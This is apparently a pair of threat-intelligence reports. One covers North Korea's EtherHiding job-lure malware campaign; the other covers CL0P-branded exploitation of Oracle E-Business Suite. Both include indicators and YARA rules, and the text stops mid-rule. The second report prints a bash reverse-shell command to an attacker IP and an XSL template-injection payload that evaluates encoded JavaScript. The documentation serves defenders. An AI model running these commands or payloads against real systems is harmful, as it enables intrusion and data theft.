In essence, EtherHiding represents a shift toward next-generation bulletproof hosting, where the inherent features of blockchain technology are repurposed for malicious ends. This technique underscores the continuous evolution of cyber threats as attackers adapt and leverage new technologies to their advantage.

DPRK Social Engineering Campaign

North Korea's social engineering campaign is a sophisticated and ongoing cyber espionage and financially motivated operation that cleverly exploits the job application and interview process. This campaign targets developers, particularly in the cryptocurrency and technology sectors, to steal sensitive data, cryptocurrency, and gain persistent access to corporate networks.

The campaign has a dual purpose that aligns with North Korea's strategic goals:

• Financial Gain: A primary objective is the theft of cryptocurrency and other financial assets to generate revenue for the regime, helping it bypass international sanctions.

• Espionage: By compromising developers, the campaign aims to gather valuable intelligence and potentially gain a foothold in technology companies for future operations.

The campaign is characterized by its elaborate social engineering tactics that mimic legitimate recruitment processes.

1. The Phishing Lure:

• Fake Recruiters and Companies: The threat actors create convincing but fraudulent profiles on professional networking sites like LinkedIn and job boards. They often impersonate recruiters from well-known tech or cryptocurrency firms.

• Fabricated Companies: In some instances, they have gone as far as setting up fake company websites and social media presences for entities like "BlockNovas LLC," "Angeloper Agency," and "SoftGlideLLC" to appear legitimate.

• Targeted Outreach: They aggressively contact potential victims, such as software and web developers, with attractive job offers.

2. The Interview Process:

• Initial Engagement: The fake recruiters engage with candidates, often moving the conversation to platforms like Telegram or Discord.

• The Malicious Task: The core of the attack occurs during a technical assessment phase. Candidates are asked to perform a coding test or review a project, which requires them to download files from repositories like GitHub. These files contain malicious code.

• Deceptive Tools: In other variations, candidates are invited to a video interview and are prompted with a fake error message (a technique called ClickFix) that requires them to download a supposed "fix" or a specific software to proceed, which is actually the malware.

3. The Infection Chain:

The campaign employs a multi-stage malware infection process to compromise the victim's system, often affecting Windows, macOS, and Linux systems.

• Initial Downloader (e.g., JADESNOW): The malicious packages downloaded by the victim are often hosted on the npm (Node Package Manager) registry. These loaders may collect initial system information and download the next stage of malware.

• Second-Stage Malware (e.g., BEAVERTAIL, JADESNOW): The JavaScript-based malware is designed to scan for and exfiltrate sensitive data, with a particular focus on cryptocurrency wallets, browser extension data, and credentials. The addition of JADESNOW to the attack chain marks UNC5342’s shift towards EtherHiding to serve up the third-stage backdoor INVISIBLEFERRET.

• Third-Stage Backdoor (e.g., INVISIBLEFERRET): For high-value targets, a more persistent backdoor is deployed. INVISIBLEFERRET, a Python-based backdoor, provides the attackers remote control over the compromised system, allowing for long-term espionage, data theft, and lateral movement within a network. 

JADESNOW

JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like INVISIBLEFERRET.JAVASCRIPT.

The deployment and management of JADESNOW differs from that of similar campaigns that implement EtherHiding, such as CLEARFAKE. The CLEARFAKE campaign, associated with the threat cluster UNC5142, functions as a malicious JavaScript framework and often masquerades as a Google Chrome browser update pop-up on compromised websites. The primary function of the embedded JavaScript is to download a payload after a user clicks the "Update Chrome" button. The second-stage payload is another Base64-encoded JavaScript stored on the BNB Smart Chain. The final payload may be bundled with other files that form part of a legitimate update, like images or configuration files, but the malware itself is usually an infostealer like LUMASTEALER.

Figure 1 presents a general overview of the social engineering attack chain. The victim receives a malicious interview question, deceiving the victim into running code that executes the initial JavaScript downloader that interacts with a malicious smart contract and downloads the second-stage payload. The smart contract hosts the JADESNOW downloader that interacts with Ethereum to fetch the third-stage payload, in this case INVISIBLEFERRET.JAVASCRIPT. The payload is run in memory and may query Ethereum for an additional credential stealer component. It is unusual to see a threat actor make use of multiple blockchains for EtherHiding activity; this may indicate operational compartmentalization between teams of North Korean cyber operators. Lastly, campaigns frequently leverage EtherHiding's flexible nature to update the infection chain and shift payload delivery locations. In one transaction, the JADESNOW downloader can switch from fetching a payload on Ethereum to fetching it on the BNB Smart Chain. This switch not only complicates analysis but also leverages lower transaction fees offered by alternate networks.

Figure 1: UNC5342 EtherHiding on BNB Smart Chain and Ethereum

Malicious Smart Contracts

BNB Smart Chain and Ethereum are both designed to run decentralized applications (dApps) and smart contracts. A smart contract is code on a blockchain that automatically executes actions when certain conditions or agreements are met, enabling secure, transparent, and automated agreements without intermediaries. Smart contracts are compiled into bytecode and uploaded to the blockchain, making them publicly available to be disassembled for analysis.

BNB Smart Chain, like Ethereum, is a decentralized and permissionless blockchain network that supports smart contracts programmed for the Ethereum Virtual Machine (EVM). Although smart contracts offer innovative ways to build decentralized applications, their unchangeable nature is leveraged in EtherHiding to host and serve malicious code in a manner that cannot be easily blocked.

Making use of Ethereum and BNB Smart Chain for the purpose of EtherHiding is straightforward since it simply involves calling a custom smart contract on the blockchain. UNC5342’s interactions with the blockchain networks are done through centralized API service providers rather than Remote Procedure Call (RPC) endpoints, as seen with CLEARFAKE. When contacted by GTIG, responsible API service providers were quick to take action against this malicious activity; however, several other platforms have remained unresponsive. This indifference and lack of collaboration is a significant concern, as it increases the risk of this technique proliferating among threat actors.

JADESNOW On-Chain Analysis

The initial downloader queries the BNB Smart Chain through a variety of API providers, including Binplorer, to read the JADESNOW payload stored at the smart contract at address 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c.

Figure 2 is an example of an API call to read data stored in the smart contract from the transaction history. The transaction details show that the contract has been updated over 20 times within the first four months, with each update costing an average of $1.37 USD in gas fees. The low cost and frequency of these updates illustrate the attacker’s ability to easily change the campaign’s configuration. This smart contract has also been linked to a software supply chain attack that impacted React Native Aria and GlueStack via compromised npm packages in June 2025

{ timestamp: 1738949853, transactionHash: "0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856", tokenInfo: { address: "0x8eac3198dd72f3e07108c4c7cff43108ad48a71c", (...) owner: "0x9bc1355344b54dedf3e44296916ed15653844509", (...) txsCount: 22, (...) }, type: "issuance", value: "1", priority: 127, address: "0x9bc1355344b54dedf3e44296916ed15653844509" }

Figure 2: ABI call for transaction history

Blockchain explorers like BscScan (for BNB Smart Chain) and Etherscan (for Ethereum) are essential tools for reviewing on-chain information like smart contract code and historic transactions to and from the contract. These transactions may include input data such as a variable Name, its Type, and the Data stored in that variable. Figure 3 shows on-chain activity at the transaction address 0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856, where the Data field contains a Base64-encoded and XOR-encrypted message. This message decrypts to a heavily obfuscated JavaScript payload that GTIG assesses as the second-stage downloader, JADESNOW.

Figure 3: UNC5342 on-chain activity

When comparing transactions, the launcher-related code remains intact, but the next stage payload is frequently updated with a new obfuscated payload. In this case, the obfuscated payload is run in memory and decrypts an array of strings that combine to form API calls to different transaction hashes on Ethereum. This pivot to a different network is notable. The attackers are not using an Ethereum smart contract to store the payload; instead, they perform a GET request to query the transaction history of their attacker-controlled address and read the calldata stored from transactions made to the well-known “burn” address 0x00…dEaD.

Figure 4: On-chain transactions

The final address of these transactions is inconsequential since the malware only reads the data stored in the details of a transaction, effectively using the blockchain transaction as a Dead Drop Resolver. These transactions are generated frequently, showing how easily the campaign can be updated with a simple blockchain transaction, including changing the C2 server.

The in-memory payload fetches and evaluates the information stored on-chain by querying Ethereum via different blockchain explorer APIs. Multiple explorers are queried simultaneously (including Blockchair, Blockcypher, and Ethplorer), likely as a fail-safe way to ensure payload retrieval. The use of a free API key, such as apiKey=freekey offered by Ethplorer for development, is sufficient for the JADESNOW operation despite strict usage limits.

Payload Analysis

The third stage is the INVISIBLEFERRET.JAVASCRIPT payload stored at the Ethereum transaction address 0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a. This payload connects to the C2 server via port 3306, the default port for MySQL. It sends an initial beacon with the victim's hostname, username, operating system, and the directory the backdoor is currently running under. The backdoor proceeds to run in the background, listening for incoming commands to the C2. The command handler is capable of processing arbitrary command execution, executing built-in commands to change the directory, and exfiltrating files, directories, and subdirectories from the victim’s system.

The INVISIBLEFERRET.JAVASCRIPT payload may also be split into different components like is done at the transaction address 0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f. The split up JavaScript payload executes the INVISIBLEFERRET.JAVASCRIPT backdoor and attempts to install a portable Python interpreter to execute an additional credential stealer component stored at the transaction address 0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41. This additional credential stealer component targets web browsers like Google Chrome and Microsoft Edge to exfiltrate stored passwords, session cookies, and credit cards. The INVISIBLEFERRET.JAVASCRIPT credential stealer component also targets cryptocurrency wallets like MetaMask and Phantom, as well as credentials from other sensitive applications like password managers (e.g., 1Password). The data is compressed into a ZIP archive and uploaded to an attacker-controlled remote server and a private Telegram chat.

The Centralized Dependencies in EtherHiding

Decentralization is a core tenet of blockchain networks and other Web3 technologies. In practice, however, centralized services are often used, which introduces both opportunities and risks. Though blockchains like BNB Smart Chain are immutable and permissionless and the smart contracts deployed onto such blockchains cannot be removed, operations by threat actors using these blockchains are not unstoppable.

Neither North Korea’s UNC5342 nor threat actor UNC5142 are interacting directly with BNB Smart Chain when retrieving information from smart contracts; both threat actors are utilizing centralized services, akin to using traditional Web2 services such as web hosting. This affords astute defenders the opportunity to mitigate such threats. These centralized intermediaries represent points of observation and control, where traffic can be monitored and malicious activity can be addressed through blocking, account suspensions, or other methods. In other words, UNC5142 and UNC5342 are using permissioned services to interact with permissionless blockchains.

These threat actors exhibit two different approaches to utilizing centralized services for interfacing with blockchain networks:

1. An RPC endpoint is used by UNC5142 (CLEARFAKE) in the EtherHiding activity. This allows direct communication with a BNB Smart Chain node hosted by a third party in a manner that is close to a blockchain node’s “native tongue.” 

2. An API service hosted by a central entity is used by UNC5342 (DPRK), acting as a layer of abstraction between the threat actor and the blockchain.

Though the difference is nuanced, these intermediary services are positioned to directly impact threat actor operations. Another approach not observed in these operations is to operate a node that integrates fully with the blockchain network. Running a full node is resource-intensive, slow to sync, and creates a significant hardware and network footprint that can be traced, making it a cumbersome and risky tool for cyber operations.

Recommendations

EtherHiding presents new challenges as traditional campaigns have usually been halted by blocking known domains and IPs. Malware authors may leverage the blockchain to perform further malware propagation stages since smart contracts operate autonomously and cannot be shut down.

Figure 5: BscScan warning message

While security researchers attempt to warn the community by tagging a contract as malicious on official blockchain scanners (like the warning on BscScan in Figure 5), malicious activity can still be performed.

Chrome Enterprise: Centralized Mitigation

Chrome Enterprise can be a powerful tool to prevent the impact of EtherHiding by using its centralized management capabilities to enforce policies that directly disrupt the attack chain. This approach shifts security away from relying on individual user discretion and into the hands of a centralized, automated system.

The core strength of Chrome Enterprise resides in Chrome Browser Cloud Management. This platform allows administrators to configure and enforce security policies across all managed browsers in their organization, ensuring consistent protection regardless of the user's location or device.

For EtherHiding, this means an administrator can deploy a defense strategy that does not rely on individual users making the right security decisions.

Key Prevention Policies and Strategies

An administrator can use specific policies to break the EtherHiding attack at multiple points:

1. Block Malicious Downloads

This is the most direct and effective way to stop the attack. The final step of an EtherHiding campaign requires the user to download and run a malicious file (e.g., from a fake update prompt). Chrome Enterprise can prevent this entirely.

• DownloadRestrictions Policy: An admin can configure this policy to block downloads of dangerous file types. By setting this policy to block file types like .exe, .msi, .bat, and .dll, the malicious payload can not be saved to the user's computer, effectively stopping the attack.

2. Automate and Manage Browser Updates

EtherHiding heavily relies on social engineering, most notably by using a pop-up that tells the user "Your Chrome is out of date." In a managed enterprise environment, this should be an immediate red flag.

• Managed Updates: Administrators use Chrome Enterprise to control and automate browser updates. Updates are pushed silently and automatically in the background.

• User Training: Because updates are managed, employees can be trained with a simple, powerful message: "You will never be asked to manually update Chrome." Any prompt to do so is considered a scam and thus undermines the primary social engineering tactic.

3. Control Web Access and Scripts

While attackers constantly change their infrastructure, policies can still reduce the initial attack surface.

• URLBlocklist Policy: Admins can block access to known malicious websites, domains, or even the URLs of blockchain nodes if they are identified by threat intelligence.

• Safe Browsing: Policies can enforce Google's Safe Browsing in its most enhanced mode, which uses real-time threat intelligence to warn users about phishing sites and malicious downloads.

Acknowledgements

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, including the Koreas Mission, FLARE, and Advanced Practices.

Indicators of Compromise

Type

Indicator

Context

SHA256 Hash (ZIP Archive)

970307708071c01d32ef542a49099571852846a980d6e8eb164d2578147a1628

ZIP archive containing the initial downloader, in this case JADESNOW.

SHA256 Hash (Initial JavaScript Downloader)

01fd153bfb4be440dd46cea7bebe8eb61b1897596523f6f6d1a507a708b17cc7

JADESNOW sample to launch infection chain.

BSC Address (Smart Contract)

0x8eac3198dd72f3e07108c4c7cff43108ad48a71c

BNB Smart Chain contract used by UNC5342 to host the second-stage JADESNOW payload.

BSC Address (Attacker-Controlled)

0x9bc1355344b54dedf3e44296916ed15653844509

Owner address of the malicious BNB Smart Chain contract.

Ethereum Transaction Hash (INVISIBLEFERRET.JAVASCRIPT Payload)

0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a

Transaction storing the INVISIBLEFERRET.JAVASCRIPT payload.

Ethereum Transaction Hash (INVISIBLEFERRET.JAVASCRIPT Split Payload)

0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f

Transaction storing the split INVISIBLEFERRET.JAVASCRIPT payload

Ethereum Transaction Hash (INVISIBLEFERRET Credential Stealer Payload)

0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41

Transaction storing the additional INVISIBLEFERRET.JAVASCRIPT credential stealer payload.

YARA Detections rule G_Downloader_JADESNOW_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $s1 = "global['_V']" $s2 = "global['r']" $s3 = "umP" $s4 = "mergeConfig" $s5 = "charAt" nocase condition: uint16(0) != 0x5A4D and filesize < 10KB and #s3 > 2 and #s5 == 1 and all of them }

Written by: Peter Ukhanov, Genevieve Stark, Zander Work, Ashley Pearson, Josh Murchie, Austin Larsen

Update (Oct. 11): On Oct. 11, Oracle released another patch, addressing CVE-2025-61884.

Introduction

Beginning Sept. 29, 2025, Google Threat Intelligence Group (GTIG) and Mandiant began tracking a new, large-scale extortion campaign by a threat actor claiming affiliation with the CL0P extortion brand. The actor began sending a high volume of emails to executives at numerous organizations, alleging the theft of sensitive data from the victims' Oracle E-Business Suite (EBS) environments. On Oct. 2, 2025, Oracle reported that the threat actors may have exploited vulnerabilities that were patched in July 2025 and recommended that customers apply the latest critical patch updates. On Oct. 4, 2025, Oracle directed customers to apply emergency patches to address this vulnerability, reiterating their standing recommendation that customers stay current on all Critical Patch Updates.

Our analysis indicates that the CL0P extortion campaign followed months of intrusion activity targeting EBS customer environments. The threat actor(s) exploited what may be CVE-2025-61882 as a zero-day vulnerability against Oracle EBS customers as early as Aug. 9, 2025, weeks before a patch was available, with additional suspicious activity dating back to July 10, 2025. In some cases, the threat actor successfully exfiltrated a significant amount of data from impacted organizations.

This post provides an in-depth analysis of the campaign, deconstructs the multi-stage Java implant framework used by the threat actors to compromise Oracle EBS, details the earlier exploitation activity, and provides actionable guidance and indicators of compromise (IOCs) for defenders.

Background

The CL0P (aka CL0P^_- LEAKS) data leak site (DLS) was established in 2020. Initially, GTIG observed the DLS used for multifaceted extortion operations involving CL0P ransomware and attributed to FIN11. More recently, the majority of the alleged victims appear to be associated with data theft extortion incidents stemming from the mass exploitation of zero-day vulnerabilities in managed file transfer (MFT) systems, including the Accellion legacy file transfer appliance (FTA), GoAnywhere MFT, MOVEit MFT, and Cleo LexiCom. In most of these incidents, the threat actors conducted mass exploitation of zero-day (0-day) vulnerabilities, stole victim data, then initiated extortion attempts several weeks later. While this data theft extortion activity has most frequently been attributed to FIN11 and suspected FIN11 threat clusters, we have also observed evidence that CL0P ransomware and the CL0P DLS are used by at least one threat actor with different tactics, techniques, and procedures (TTPs). This could suggest that FIN11 has expanded their membership or partnerships over time.

This latest campaign targeting Oracle EBS marks a continuation of this successful and high-impact operational model.

Figure 1: Oct. 8 updated CL0P DLS site

Threat Detail  The CL0P Extortion Campaign

Starting Sept. 29, 2025, the threat actor launched a high-volume email campaign from hundreds, if not thousands, of compromised third-party accounts. The credentials for these accounts—which belong to diverse, unrelated organizations—were likely sourced from infostealer malware logs sold on underground forums. This is a common tactic used by threat actors to add legitimacy and bypass spam filters. The emails, sent to company executives, claimed the actor had breached their Oracle EBS application and exfiltrated documents. 

Notably, the emails contain two contact addresses, [email protected] and [email protected], that have been listed on the CL0P DLS since at least May 2025. To substantiate their claims, the threat actor has provided legitimate file listings from victim EBS environments to multiple organizations with data dating back to mid-August 2025. The extortion emails have indicated that alleged victims can prevent the release of stolen data in exchange for payment, but the amount and method has not been specified. This is typical of most modern extortion operations, in which the demand is typically provided after the victim contacts the threat actors and indicates that they are authorized to negotiate.

To date, GTIG has not observed victims from this campaign on the CL0P DLS. This is consistent with past campaigns involving the CL0P brand, where actors have typically waited several weeks before posting victim data.

Figure 2: Extortion email sent to victim executives

Technical Analysis: Deconstructing the Exploits

We have identified exploitation activity targeting Oracle E-Business Suite (EBS) servers occurring prior to the recent extortion campaign, likely dating back to July 2025.

Oracle released a patch on Oct. 4 for CVE-2025-61882, which referenced a leaked exploit chain targeting the UiServlet component, but Mandiant has observed multiple different exploit chains involving Oracle EBS and it is likely that a different chain was the basis for the Oct. 2 advisory that originally suggested a known vulnerability was being exploited. It's currently unclear which specific vulnerabilities/exploit chains correspond to CVE-2025-61882, however, GTIG assesses that Oracle EBS servers updated through the patch released on Oct. 11 are likely no longer vulnerable to known exploitation chains.

July 2025 Activity: Suspicious Activity Involving 'UiServlet'

Mandiant incident responders identified activity in July 2025 targeting Oracle EBS servers where application logs suggested exploitation targeting /OA_HTML/configurator/UiServlet. The artifacts recovered in Mandiant's investigations do have some overlap with an exploit leaked in a Telegram group named “SCATTERED LAPSUS$ HUNTERS” on October 3rd, 2025. However, GTIG lacks sufficient evidence to directly correlate activity observed in July 2025 with use of this exploit. At this time, GTIG does not assess that actors associated with UNC6240 (aka "Shiny Hunters") were involved in this exploitation activity. 

• The leaked exploit, as analyzed by watchTowr Labs, combines several distinct primitives including Server-Side Request Forgery (SSRF), Carriage-Return Line-Feed (CRLF) injection, authentication bypass, and XSL template injection, to gain remote code execution on the target Oracle EBS server. As mentioned, it's not clear which CVE corresponds to any of the vulnerabilities exploited in this chain. Any commands executed following exploitation would use sh on Linux, or cmd.exe on Windows.

• The leaked exploit archive included sample invocations showing its use for executing a Bash reverse shell, with a command structured like bash -i >& /dev/tcp/<ip>/<port> 0>&1.

Activity Observed Before July 2025 Patch Release

On July 10th, prior to the release of the July 2025 Oracle EBS security updates, Mandiant identified suspicious HTTP traffic from 200.107.207.26. GTIG was unable to confirm the exact nature of this activity, but it's plausible that this was an early attempt at exploitation of Oracle EBS servers. However, there was no available forensic evidence showing outbound HTTP traffic consistent with the remote XSL payload retrieval performed in the leaked exploit, nor any suspicious commands observed being executed, inhibiting us from assessing that this was an actual exploitation attempt.

Additionally, Internet scan data showed that server exposing a Python AIOHTTP server at approximately the same time as the aforementioned activity, which is consistent with use of the callback server in the publicly leaked exploit.

Activity Observed After July 2025 Patch Release

After the patches were released, Mandiant observed likely exploitation attempts from 161.97.99.49 against Oracle EBS servers, with HTTP requests for /OA_HTML/configurator/UiServlet recorded. Notably, various logs involving EBS indicate that some of these requests timed out, suggesting the SSRF vulnerability present in the leaked public exploit, or follow-on activity that would've cleanly closed the request, may have failed. These errors were not observed in the activity recorded prior to the July 2025 patch release.

GTIG is not currently able to confirm if both of these sets of activity were conducted by the same threat actor or not.

August 2025 Activity: Exploit Chain Targeting 'SyncServlet'

In August 2025, a threat actor began exploiting a vulnerability in the SyncServlet component, allowing for unauthenticated remote code execution. This activity originated from multiple threat actor servers, including 200.107.207.26, as observed in the aforementioned activity.

• Exploit Flow: The attack is initiated with a POST request to /OA_HTML/SyncServlet. The actor then uses the XDO Template Manager functionality to create a new, malicious template within the EBS database. The final stage of the exploit is a request that triggers the payload via the Template Preview functionality. A request to the following endpoint is a high-fidelity indicator of compromise:

/OA_HTML/OA.jsp?page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG&TemplateCode=<TMP|DEF><16_RANDOM_HEX_STRING>&TemplateType=<XSL-TEXT|XML>…

The malicious payload is stored as a new template in the XDO_TEMPLATES_B database table. The template name (TemplateCode) consistently begins with the prefix TMP or DEF, and the TemplateType is set to XSL-TEXT or XML, respectively. The following is an example of a payload stored in database with the Base64 payload redacted:

<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder" xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager" xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine" xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"> <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<BASE64STRING>')"/> <xsl:variable name="js" select="str:new($bs)"/> <xsl:variable name="m" select="jsm:new()"/> <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/> <xsl:variable name="code" select="eng:eval($e, $js)"/> <xsl:value-of select="$code"/> </xsl:template> </xsl:stylesheet>

Notably, the structure of this XSL payload is identical to the XSL payload in the leaked Oracle EBS exploit previously discussed.

GTIG has identified at least two different chains of Java payloads embedded in the XSL payloads, some of which has also been discussed here:

• GOLDVEIN.JAVA - Downloader: A Java variant of GOLDVEIN, a downloader that makes a request back to an attacker-controlled command-and-control (C2 or C&C) IP address to retrieve and execute a second-stage payload. This beacon is disguised as a "TLSv3.1" handshake and contains logging functionality that returns the execution result to the actor in the HTTP response, within an HTML comment. Mandiant hasn't recovered any follow-on payloads downloaded by GOLDVEIN.JAVA at this time.
  • GOLDVEIN was originally written in PowerShell and was first observed in the exploitation campaign of multiple Cleo software products in December 2024 by a suspected FIN11 threat cluster tracked as UNC5936.
• SAGE* Infection Chain: A nested chain of multiple Java payloads resulting in a persistent filter that monitors for requests to endpoints containing /help/state/content/destination./navId.1/navvSetId.iHelp/ to deploy additional Java payloads.
  • The XSL payload contains a Base64-encoded SAGEGIFT payload. SAGEGIFT is a custom Java reflective class loader, written for Oracle WebLogic servers.
  • SAGEGIFT is used to load SAGELEAF, an in-memory dropper based on public code for reflectively loading Oracle WebLogic servlet filters, with additional logging code embedded in it. Logs in SAGELEAF are retrieved by the parent SAGEGIFT payload that loaded it, and they can be returned to the actor in the HTTP response within an HTML comment (structured the same way as GOLDVEIN.JAVA).
  • SAGELEAF is used to install SAGEWAVE, a malicious Java servlet filter that allows the actor to deploy an AES-encrypted ZIP archive with Java classes in it. Based on our analysis, there is a main payload of SAGEWAVE that may be similar to the Cli module of GOLDTOMB; however, at this time we have not directly observed this final stage.
  • Mandiant has observed variants of SAGEWAVE where the HTTP header X-ORACLE-DMS-ECID must be set to a specific, hardcoded value for the request payload to be processed, and has also seen different HTTP paths used for request filtering, including /support/state/content/destination./navId.1/navvSetId.iHelp/.

Figure 3: SAGE* infection chain/trigger diagram

Following successful exploitation, the threat actor has been observed executing reconnaissance commands from the EBS account "applmgr." These commands include:

cat /etc/fstab cat /etc/hosts df -h ip addr cat /proc/net/arp /bin/bash -i >& /dev/tcp/200.107.207.26/53 0>&1 arp -a ifconfig netstat -an ping 8.8.8.8 -c 2 ps -aux

Furthermore, Mandiant observed the threat actor launching additional bash processes from Java (EBS process running a GOLDVEIN.JAVA second-stage payload) using bash -i and then executing various commands from the newly launched bash process. Child processes of any bash -i process launched by Java running as the EBS account “applmgr” should be reviewed as part of hunting for threat actor commands.

Attribution: Overlaps with Confirmed and Suspected FIN11 Activity

GTIG has not formally attributed this activity to a tracked threat group at this time. The use of the CL0P extortion brand, including contact addresses ([email protected] and [email protected]) that have been listed on the CL0P DLS since at least May 2025, is however notable. GTIG initially observed the DLS used for multifaceted extortion operations involving CL0P ransomware and attributed to FIN11. More recently, the majority of the alleged victims appear to be associated with data theft extortion incidents stemming from the exploitation of managed file transfer (MFT) systems frequently attributed to FIN11 and suspected FIN11 threat clusters. However, we have also observed evidence that CL0P ransomware, and the CL0P DLS has not been exclusively used by FIN11, precluding our ability to attribute based only on this factor. 

In addition to the CL0P overlap, the post-exploitation tooling shows logical similarities to malware previously used in a suspected FIN11 campaign. Specifically, the use of the in-memory Java-based loader GOLDVEIN.JAVA that fetches a second-stage payload is reminiscent of the GOLDVEIN downloader and GOLDTOMB backdoor, which were deployed by the suspected FIN11 cluster UNC5936 during the mass exploitation of the Cleo MFT vulnerability in late 2024. Further, one of the compromised accounts used to send the recent extortion emails was previously used by FIN11. Ongoing analysis may reveal more details about the relationship between this recent activity and other threat clusters—such as FIN11 and UNC5936.

Implications

The pattern of exploiting a zero-day vulnerability in a widely used enterprise application, followed by a large-scale, branded extortion campaign weeks later, is a hallmark of activity historically attributed to FIN11 that has strategic benefits which may also appeal to other threat actors. Targeting public-facing applications and appliances that store sensitive data likely increases the efficiency of data theft operations, given that the threat actors do not need to dedicate time and resources to lateral movement. This overall approach—in which threat actors have leveraged zero-day vulnerabilities, limited their network footprint, and delayed extortion notifications—almost certainly increases the overall impact, given that threat actors may be able to exfiltrate data from numerous organizations without alerting defenders to their presence. CL0P-affiliated actors almost certainly perceive these mass exploitation campaigns as successful, given that they've employed this approach since at least late 2020. We therefore anticipate that they will continue to dedicate resources to acquiring zero-day exploits for similar applications for at least the near-term. 

Recommendations 

GTIG and Mandiant recommend the following actions to mitigate and detect the threats posed by this activity and harden Oracle E-Business Suite environments:

• Apply emergency patches immediately: Prioritize the application of the Oracle EBS patches released on Oct. 4, 2025, which mitigate the described exploitation activity (CVE-2025-61882). Given the active, in-the-wild exploitation, this is the most critical step to prevent initial access.

• Hunt for malicious templates in the database: The threat actor(s) store payloads directly in the EBS database. Administrators should immediately query the XDO_TEMPLATES_B and XDO_LOBS tables to identify malicious templates. Review any templates where the TEMPLATE_CODE begins with TMP or DEF. The payload is stored in the LOB_CODE column.

SELECT * FROM XDO_TEMPLATES_B ORDER BY CREATION_DATE DESC; SELECT * FROM XDO_LOBS ORDER BY CREATION_DATE DESC;

• Restrict outbound internet access: The observed Java payloads require outbound connections to C2 servers to fetch second-stage implants or exfiltrate data. Block all non-essential outbound traffic from EBS servers to the internet. This is a compensating control that can disrupt the attack chain even if a server is compromised.

• Monitor and analyze network logs: Monitor for indicators of compromise. A request to the TemplatePreviewPG endpoint containing a TemplateCode prefixed with TMP or DEF is a strong indicator of an exploitation attempt. Additionally, investigate anomalous requests to /OA_HTML/configurator/UiServlet and /OA_HTML/SyncServlet.

• Leverage memory forensics: The implants used in this campaign are primarily Java-based and execute in memory. If a compromise is suspected, memory analysis of the Java processes associated with the EBS application may reveal malicious code or artifacts not present on disk.

Acknowledgments 

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group and Mandiant Consulting. We would also like to specifically thank Genwei Jiang and Elliot Chernofsky from FLARE. 

Indicators of Compromise

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

Type

Indicator

Description

Network

200.107.207.26

IP address observed in exploitation attempts targeting the UiServlet and SyncServlet components.

Network

161.97.99.49

IP address observed in exploitation attempts targeting the UiServlet component

Network

162.55.17.215:443

GOLDVEIN.JAVA C2

Network

104.194.11.200:443

GOLDVEIN.JAVA C2

Network

/OA_HTML/OA.jsp?page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG...

Indicator of an attempt to trigger the malicious XSL payload. Look for requests where TemplateCode begins with TMP or DEF.

Network

/OA_HTML/configurator/UiServlet

Endpoint targeted in the July 2025 exploitation activity.

Network

/OA_HTML/SyncServlet

Endpoint targeted in the August 2025 exploitation activity.

Network

/help/state/content/destination./navId.1/navvSetId.iHelp/

HTTP path substring filtered for by SAGEWAVE

Network

/support/state/content/destination./navId.1/navvSetId.iHelp/

HTTP path substring filtered for by SAGEWAVE

Email

[email protected]

Contact address used in the CL0P extortion emails and listed on the group's data leak site.

Email

[email protected]

Contact address used in the CL0P extortion emails and listed on the group's data leak site.

YARA Rules rule G_Downloader_GOLDVEIN_JAVA_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $chunk1 = "175,121,73" base64 $chunk2 = "249,254,255" base64 $chunk3 = "235,176,29" base64 $chunk4 = "242,61,32" base64 $chunk5 = "189,66,134" base64 $str1 = "java.net.Socket(h,443)" base64 $str2 = "TLSv3.1" base64 $decoded1 = "[175,121,73,249,254,255,235,176,29,242,61,32,189,66,134,102,56,208,18,10,132,242,223,202,90,97,118,3,83,136,84,213]" $decoded2 = "java.net.Socket(h,443)" $decoded3 = "TLSv3.1" condition: (3 of ($chunk*) and all of ($str*)) or all of ($decoded*) } rule G_Dropper_SAGEGIFT_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = "ServletRequestImpl" base64 $str2 = "getServletRequest" base64 $str3 = "ServletResponseImpl" base64 $str4 = "dc=cl.getDeclaredMethod('defineClass',[cb,ci,ci])" base64 $decoded1 = "ServletRequestImpl" $decoded2 = "getServletRequest" $decoded3 = "ServletResponseImpl" $decoded4 = "dc=cl.getDeclaredMethod('defineClass',[cb,ci,ci])" condition: all of ($str*) or all of ($decoded*) } rule G_Dropper_SAGELEAF_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $log1 = "n1=%d n2=%d" $log2 = "ctx.l=%d" $log3 = "Filter=" fullword $pat = "/help/*" $s1 = "weblogic.t3.srvr.ServerRuntime" $s2 = "gzipDecompress" $s3 = "BASE64Decoder" $s4 = "getDeclaredMethod" condition: 2 of ($log*) and 5 of them } rule G_Launcher_SAGEWAVE_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $s1 = "Log4jConfigQpgsubFilter" $s2 = 